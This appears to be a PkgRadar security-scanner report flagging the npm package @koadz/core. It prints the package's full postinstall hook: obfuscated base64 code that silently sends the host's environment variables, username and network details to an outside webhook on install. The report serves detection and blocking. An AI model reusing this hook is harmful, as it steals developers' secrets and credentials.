npm · registry.npmjs.org
@koadz/core
Install Lifecycle Remote Or Exec: postinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"Y29uc3QgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpOwpjb25zdCBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7CmNvbnN0IGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKChbayx2XSk9PnYuZmlsdGVyKGk9PiFpLmludGVybmFsKS5tYXAoaT0+aysiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIikpLmpvaW4oIlxuIik7CmNvbnN0IGluZm89e3BrZzpwcm9jZXNzLmVudi5ucG1fcGFja2FnZV9uYW1lKyJAIitwcm9jZXNzLmVudi5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTsKY29uc3QgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcigoW2tdKT0+IWsuc3RhcnRzV2l0aCgibnBtX2xpZmVjeWNsZSIpKS5tYXAoKFtrLHZdKT0+IiAgIitrKyI9Iit2KS5qb2luKCJcbiIpOwpjb25zdCB0ZXh0PVsibnBtIGluc3RhbGwgUG9DIFJlcG9ydCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKChbayx2XSk9PmsrIjogIit2KS5qb2luKCJcbiIpLCIiLCJOZXR3b3JrIEludGVyZmFjZXM6IixpcHMsIiIsIkVudmlyb25tZW50IFZhcmlhYmxlczoiLGVudkxpbmVzXS5qb2luKCJcbiIpOwpjb25zdCBwYXlsb2FkPUpTT04uc3RyaW5naWZ5KHttc2dfdHlwZToidGV4dCIsY29udGVudDp7dGV4dH19KTsKY29uc3QgcmVxPWh0dHBzLnJlcXVlc3Qoe2hvc3RuYW1lOiJvcGVuLmZlaXNodS5jbiIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay85NGFkM2E1My1mMGQ2LTRkZGQtODA5Zi0zMDVkOTI4ZGI2ZDUiLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSwoKT0+cHJvY2Vzcy5leGl0KDApKTsKcmVxLm9uKCJlcnJvciIsKCk9PnByb2Nlc3MuZXhpdCgwKSk7cmVxLmVuZChwYXlsb2FkKQ==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'"
Why PkgRadar flagged 1.0.32
| Severity | Signal | Evidence |
|---|---|---|
| high | Install Lifecycle Remote Or Exec | postinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"Y29uc3QgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpOwpjb25zdCBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7CmNvbnN0IGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKChbayx2XSk9PnYuZmlsdGVyKGk9PiFpLmludGVybmFsKS5tYXAoaT0+aysiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIikpLmpvaW4oIlxuIik7CmNvbnN0IGluZm89e3BrZzpwcm9jZXNzLmVudi5ucG1fcGFja2FnZV9uYW1lKyJAIitwcm9jZXNzLmVudi5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTsKY29uc3QgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcigoW2tdKT0+IWsuc3RhcnRzV2l0aCgibnBtX2xpZmVjeWNsZSIpKS5tYXAoKFtrLHZdKT0+IiAgIitrKyI9Iit2KS5qb2luKCJcbiIpOwpjb25zdCB0ZXh0PVsibnBtIGluc3RhbGwgUG9DIFJlcG9ydCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKChbayx2XSk9PmsrIjogIit2KS5qb2luKCJcbiIpLCIiLCJOZXR3b3JrIEludGVyZmFjZXM6IixpcHMsIiIsIkVudmlyb25tZW50IFZhcmlhYmxlczoiLGVudkxpbmVzXS5qb2luKCJcbiIpOwpjb25zdCBwYXlsb2FkPUpTT04uc3RyaW5naWZ5KHttc2dfdHlwZToidGV4dCIsY29udGVudDp7dGV4dH19KTsKY29uc3QgcmVxPWh0dHBzLnJlcXVlc3Qoe2hvc3RuYW1lOiJvcGVuLmZlaXNodS5jbiIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay85NGFkM2E1My1mMGQ2LTRkZGQtODA5Zi0zMDVkOTI4ZGI2ZDUiLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSwoKT0+cHJvY2Vzcy5leGl0KDApKTsKcmVxLm9uKCJlcnJvciIsKCk9PnByb2Nlc3MuZXhpdCgwKSk7cmVxLmVuZChwYXlsb2FkKQ==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'" · package.json |
Scanned versions
| Version | Verdict | Score | Scanned (UTC) |
|---|---|---|---|
1.0.32 | High risk | 35 | 2026-06-06 |
1.0.31 | High risk | 35 | 2026-06-06 |
1.0.30 | High risk | 35 | 2026-06-06 |
Block this in CI
pkgradar gate --ecosystem npm @koadz/[email protected]